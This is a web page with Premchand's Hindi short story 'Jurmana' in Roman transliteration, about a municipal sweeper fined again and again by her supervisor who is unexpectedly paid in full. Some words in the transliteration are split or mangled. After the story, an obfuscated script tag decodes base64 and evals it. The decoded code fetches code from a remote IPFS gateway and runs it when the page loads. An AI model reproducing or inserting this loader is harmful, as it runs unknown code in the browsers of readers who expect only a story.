जुरमाना- प्रेमचंद

chitr:Icon-edit.gif

is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

aisa shayad hi koee mahina jata ki alarakkhi ke vetan se kuchh juramana n kat jata. kabhi-kabhi to use 6) ke 5) hi milate, lekin vah sab kuchh sahakar bhi saphaee ke daroga mu0 khairat ali khaan ke changul mean kabhi n ati. khaan sahab ki matahati mean saik doan mehataraniyaan thian. kisi ki bhi talab n katati, kisi par jurmana n hota, n daant hi p dati. khaan sahab nekanam the, dayalu the. magar alarakkhi unake hathoan barabar tadऩa pati rahati thi. vah kamachor nahian thi, beadab nahian thi, phooh d nahian thi, badasoorat bhi nahian thi; pahar rat ko is thand ke dinoan mean vah jha doo lekar nikal jati aur nau baje tak ek-chitt hokar sadaq par jha doo lagati rahati. phir bhi us par jurmana ho jata. usaka pati huseni bhi avasar pakar usaka kam kar deta, lekin alarakkhi ki qismat mean jurmana dena tha. talab ka din auroan ke lie hansane ka din tha alarakkhi ke lie rone ka. us din usaka man jaise sooli par tanga rahata. n jane kitane paise kat jaeange? vah pariksha vale chhatroan ki tarah bar-bar jurmana ki rakam ka takhamina karati.

us din vah thakakar jara dam lene ke lie baith gayi thi. usi vakt darogaji apane ikke par a rahe the. vah kitana kahati rahi hajoorali, maian phir kam karooangi, lekin unhoanne ek n suni thi, apani kitab mean usaka nam not kar liya tha. usake kee din bad phir aisa hi hua. vah halavaee se ek paise ke sev de lekar kha rahi thi. usi vakt daroga n jane kidhar se nikal p da tha aur phir usaka nam likh liya gaya tha. n jane kahaan chhipa rahata hai? jara bhi sustane lage ki bhoot ki tarah akar kh da ho jata hai. nam to usane do hi din likha tha, par jurmana kitana karata hai-alla jane! ath ane se badhaqar ek rupaya n ho jae. vah sir jhukaye vetan lene jati aur takhamine se kuchh zyada hi kata hua pati. kaanpate hue hathoan se rupaye lekar aankhoan mean aansoo bhare laut ati. kisase phariyad kare, daroga ke samane usaki sunega kaun?

aj phir vahi talab ka din tha. is mahine mean usaki doodh piti bachchi ko khaansi aur jvar ane laga tha. thand bhi khoob p di thi. kuchh to thand ke mare aur kuchh ladaqi ke rone-chillane ke karan use rat-rat-bhar jagana p data tha. kee din kam par jane mean der ho gayi. daroga ne usaka nam likh liya tha. abaki adhe rupaye kat jaeange. adhe bhi mil jaean to ganimat hai. kaun jane kitana kata hai? usane tadaqe bachchi ko god mean uthaya aur jha doo lekar sadaq par ja pahuanchi. magar vah dusht god se utarati hi n thi. usane bar-bar daroga ke ane ki dhamaki di-abhi ata hoga, mujhe bhi marega, tere bhi nak-kan kat lega. lekin ladaqi ko apane nak-kan katavana manjoor tha, god se utarana manjoor n tha; akhir jab vah darane-dhamakane, pyarane-puchakarane, kisi upay se n utari to alarakkhi ne use god se utar diya aur use roti-chillati chhodaqar jha doo lagane lagi. magar vah abhagini ek jagah baithakar man-bhar roti bhi n thi. alarakkhi ke pichhe lagi huee bar-bar usaki sa di pakadaqar khianchati, usaki taang se lipat jati, phir zamin par lot jati aur ek kshan mean uthakar phir rone lagati.

usane jha doo tanakar kaha-chup ho ja, nahian to jha doo se marooangi, jan nikal jaegi; abhi daroga dadhijar ata hoga...

poori dhamaki muanh se nikal bhi n paee thi ki daroga khairatali khaan samane akar saikil se utar p da. alarakkhi ka rang u d gaya, kaleja dhakh-dhakh karane laga! ya mere allah, kahian isane sun n liya ho! meri aankhean phoot jaean. samane se aya aur maianne dekha nahian. kaun janata tha, aj pairaga di par a raha hai? roj to ikke par ata tha. nadiy़oan mean rakt ka daudऩa band ho gaya. jha doo hath mean lie ni:stabdh kh di rah gayi.

daroga ne daantakar kaha-kam karane chalati hai to ek puchchhilla sath le leti hai. ise ghar par kyoan nahian chho d ayi?

alarakkhi ne katar svar mean kaha-isaka ji achchha nahian hai huzoor, ghar par kisake pas chho d ati.

‘kya hua hai isako!’

‘bukhar ata hai huzoor!’

‘aur too ise yoan chhodaqar rula rahi hai. maregi ki jiyegi?’

‘god mean liye-liye kam kaise karooan huzoor!

‘chhutti kyoan nahian le leti!’

‘talab kat jati huzoor, gujara kaise hota?’

‘ise utha le aur ghar ja. huseni lautakar aye to idhar jha doo lagane ke lie bhej dena.’

alarakkhi ne ladaqi ko utha liya aur chalane ko huee, tab darogaji ne poochha-mujhe gali kyoan de rahi thi?

alarakkhi ki rahi-sahi jan bhi nikal gayi. kato to lahoo nahian. thar-thar kaanpati boli-nahian huzoor, meri aankhean phoot jaean jo tumako gali di ho.

aur vah phoot-phootakar rone lagi.

2

sandhya samay huseni aur alarakkhi donoan talab lene chale. alarakkhi bahut udas thi.

huseni ne santvana di-too itani udas kyoan hai? talab hi n kategi-katane de abaki se teri jan ki kasam khata hooan, ek ghooant daroo ya ta di nahian piooanga.

‘maian darati hooan, barakhast n kar de meri jibh jal jay! kahaan se kahaan ...

‘barakhast kar dega, kar de, usaka alla bhala kare! kahaan tak royean!’

‘tum mujhe nahak liye chalate ho. sab-ki-sab hanseangi.’

‘barakhast karega to poochhooanga nahian kis ilajam par barakhast karate ho, gali dete kisane suna? koee andher hai, jise chahe, barakhast kar de aur kahian sunavaee n huee to panchoan se phariyad karooanga. chaudhari ke daravaze par sar patak dooanga.’

‘aisi hi ekata hoti to daroga itana jarimana karane pata?’

‘jitana b da rog hota hai, utani dava hoti hai, pagali!’

phir bhi alarakkhi ka man shant n hua. mukh par vishad ka dhuaan-sa chhaya hua tha. daroga kyoan gali sunakar bhi big da nahian, usi vakt use kyoan nahian barakhast kar diya, yah usaki samajh mean n ata tha. vah kuchh dayalu bhi maloom hota tha. usaka rahasy vah n samajh pati thi, aur jo chiz hamari samajh mean nahian ati usi se ham darate haian. keval juramana karana hota to usane kitab par usaka nam likha hota. usako nikal bahar karane ka nishchay kar chuka hai, tabhi dayalu ho gaya tha. usane suna tha ki jinhean phaansi di jati hai, unhean ant samay khoob poori mithaee khilayi jati hai, jisase milana chahean usase milane diya jata hai. nishchay barakhast karega.

myunisipailiti ka daftar a gaya. hajaroan mehataraniyaan jama thian, rang-birang ke kap de pahane, banav-siangar kiye. pan-sigaret vale bhi a gaye the, khoanche vale bhi. pathanoan ka ek dal bhi apane asamiyoan se rupaye vasooli karane a pahuancha tha. vah donoan bhi jakar kh de ho gaye.

vetan bantane laga. pahale mehataraniyoan ka nambar tha. jisaka nam pukara jata vah lapakakar jati aur apane rupaye lekar darogaji ko muft ki duaean deti huee chali jati. champa ke bad alarakkhi ka nam barabar pukara jata tha. aj alarakkhi ka nam u d gaya tha. champa ke bad jahooran ka nam pukara gaya jo alarakkhi ke niche tha.

alarakkhi ne hatash aankhoan se huseni ko dekha. mehataraniyaan use dekh-dekhakar kanaphoosi karane lagian. usake ji mean aya, ghar chali jae. yah upahas nahian saha jata. zamin phat jati ki usamean sama jati.

ek ke bad doosara nam ata gaya aur alarakkhi samane ke vrikshoan ki or dekhati rahi. use ab isaki parava n thi ki kisaka nam ata hai, kaun jata hai, kaun usaki or takata hai, kaun us par hansata hai.

sahasa apana nam sunakar vah chauank p di! dhire se uthi aur naveli bahoo ki bhaanti pag uthati huee chali. khajaanchi ne poore 6) usake hath par rakh diye.

use ashchary hua. khajaanchi ne bhool to nahian ki? in tin barasoan mean poora vetan to kabhi mila nahian. aur abaki to adha bhi mile to bahut hai. vah ek sekand vahaan kh di rahi ki shayad khajaanchi usase rupaya vapas maange. jab khajaanchi ne poochha, ab kyoan kh di hai. jati kyoan nahian? tab vah dhire se boli-yah to poore rupaye haian.

khajaanchi ne chakit hokar usaki or dekha!

‘to aur kya chahati hai, kam milean?’

‘kuchh jarimana nahian hai?’

‘nahian, abaki kuchh jarimana nahian hai.’

alarakkhi chali, par usaka man prasann n tha. vah pachhata rahi thi ki darogaji ko gali kyoan di.

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>